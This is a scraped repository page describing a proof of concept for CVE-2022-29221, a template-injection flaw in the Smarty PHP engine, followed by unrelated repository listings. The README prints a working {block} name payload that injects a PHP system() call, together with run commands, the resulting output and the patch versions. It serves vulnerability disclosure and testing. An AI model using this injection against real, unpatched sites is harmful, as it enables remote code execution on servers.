CVE-2022-29221 Proof of Concept Code

Overview

CVE-2022-29221-PoC

This is a very basic Smarty sceleton app with a single template that shows the Proof of Concept code for CVE-2022-29221.

Injection Example Code:

{block name="poc*/system('whoami');/*"}ABC{/block}

See: https://github.com/sbani/CVE-2022-29221-PoC/blob/main/template/index.tpl

After running the code, Smarty will add a new php file in the ./compile/ folder. You can see the resulting (and vulnerable) code there.

Run test

Install:

git clone [email protected]:sbani/CVE-2022-29221-PoC.git
cd CVE-2022-29221-PoC
composer install

Run:

❯ whoami
sbani
❯ php index.php
sbani
sbani
ABC

CVE details

Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. Prior to versions 3.1.45 and 4.1.1, template authors could inject php code by choosing a malicious {block} name or {include} file name. Sites that cannot fully trust template authors should upgrade to versions 3.1.45 or 4.1.1 to receive a patch for this issue. There are currently no known workarounds.

Fix commit is here:

References:

You might also like...
Trabajo final de la materia Bases de Datos 1. Creación de una base de datos con MySQL y desarrollo de una página web con PHP para manipularla. UNAL sede Medellín, semestre 2022-1.

Trabajo final BD: i-Lunch Materia: Bases de Datos I Profesor: Francisco Javier Moreno Arboleda Institución: Universidad Nacional de Colombia sede Mede

Repositorio del código fuente utilizado en la página web Lifo.es durante los años 2017 a 2022
Repositorio del código fuente utilizado en la página web Lifo.es durante los años 2017 a 2022

Lifo.es Código fuente del juego de rol online Lifo modificado por mi (Sora) durante los años 2017 a 2022. Este código es una modificación del código b

Demo Silverstripe and JavaScript sources for Lightning Talk
Demo Silverstripe and JavaScript sources for Lightning Talk "FormField Mini Apps" at StripeCon EU 2022

Watch the Lightning Talk on Youtube 📺 Demo repository for Lightning Talk "FormField Mini Apps with the JavaScript framework/lib/style of your choice"

Result of our code-along meetup writing PHP 8.1 code

PHP 8.1 Demo Code This code demonstrates various PHP 8.0 and 8.1 features in a realistic, functional (but incomplete) codebase. The code is part of so

⚗️ Adds code analysis to Laravel improving developer productivity and code quality.
⚗️ Adds code analysis to Laravel improving developer productivity and code quality.

⚗️ About Larastan Larastan was created by Can Vural and Nuno Maduro, got artwork designed by @Caneco, is maintained by Can Vural, Nuno Maduro, and Vik

Free ZIP Code API - Free Access to Worldwide Postal Code Data

About Zipcodebase - Free Zip Code API Zipcodebase is a zip code API that was founded in 2019 to solve common issues with postal code data. As we have

Dead Code Detector (DCD) for PHP code.

This project is no longer maintained and its repository is only kept for archival purposes. PHP Dead Code Detector (PHPDCD) phpdcd is a Dead Code Dete

Preload your sweet sweet code to opcache with a composer command, making your code faster to run.

Composer Preload Preload your sweet sweet code to opcache with a composer command, making your code run faster. Composer Preload is a composer plugin

The SensioLabs DeprecationDetector runs a static code analysis against your project's source code to find usages of deprecated methods, classes and interfaces

SensioLabs DeprecationDetector CAUTION: This package is abandoned and will no longer receive any updates. The SensioLabs DeprecationDetector runs a st

Owner
S Bani
Security Engineer & Penetration Tester
S Bani
A proof-of-concept parser for the SMART Health Cards format.

SMART Health Cards parser A proof-of-concept parser for the SMART Health Cards format. This is not intended for production use. I just hacked this tog

Mikkel Paulson 55 Jul 31, 2022
Simple KPHP game, a proof of concept thing

KPHP Game About This is a game written in PHP using kphp-sdlite library. Gameplay video: https://www.youtube.com/watch?v=L44l4Tqm4Fc This game feature

Iskander (Alex) Sharipov 26 Dec 19, 2022
Proof of concept for a WordPress plugin check tool.

Plugin Check Proof of concept for a WordPress plugin check tool. For now, this is limited to WP-CLI usage. Eventually, the real plugin checker should

Felix Arntz 10 Sep 27, 2022
Log4j RCE - (CVE-2021-44228)

Log4j-RCE Log4j RCE - (CVE-2021-44228) How To Run? php log4j.php https://1337.com Requirements PHP CURL PAYLOAD DNS LOG (Collaborator Burpsuite or use

Fadhli Almunawar 8 Sep 25, 2022
cve-2021-38314 - Unauthenticated Sensitive Information Disclosure

cve-2021-38314 - Unauthenticated Sensitive Information Disclosure The Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress regi

Tri Wanda Septian 2 May 15, 2022
2022 edition of the inRage Theme fully based on Gutenberg with the support of Roots Sage 10

2022 Edition - inRage theme This version of the theme is compatible with the Full site editing of Wordpress 5.8/5.9 and use Sage 10 in order to manage

inRage 5 Jan 3, 2023
Projet Jura2021-2022

CodeIgniter 4 Framework What is CodeIgniter? CodeIgniter is a PHP full-stack web framework that is light, fast, flexible, and secure. More information

null 2 Jan 3, 2022
Mailing Microservice - My solution for Moroccan PHPers's February 2022 Challenge

Mailing Microservice Solution for Moroccan PHPers's February 2022 Challenge by Rabyâ Raghib ([email protected]). It mainly consists of: a php app th

Rabyâ Raghib 1 Aug 11, 2022
A&D challenge for AIS3 EOF CTF 2022 Final.

A&D challenge for AIS3 EOF CTF 2022 Final.

ꌗᖘ꒒ꀤ꓄꒒ꀤꈤꍟ 5 Feb 28, 2022
Queue Management Systems for LPG vendor agencies of Sri Lanka, for the LPG shortages in 2022

gas-queue-mgt Queue Management Systems for LPG vendor agencies of Sri Lanka, for the LPG shortages in 2022 Installation Requirements PHP 7.4 or later

Madhusanka Goonathilake 14 Oct 18, 2022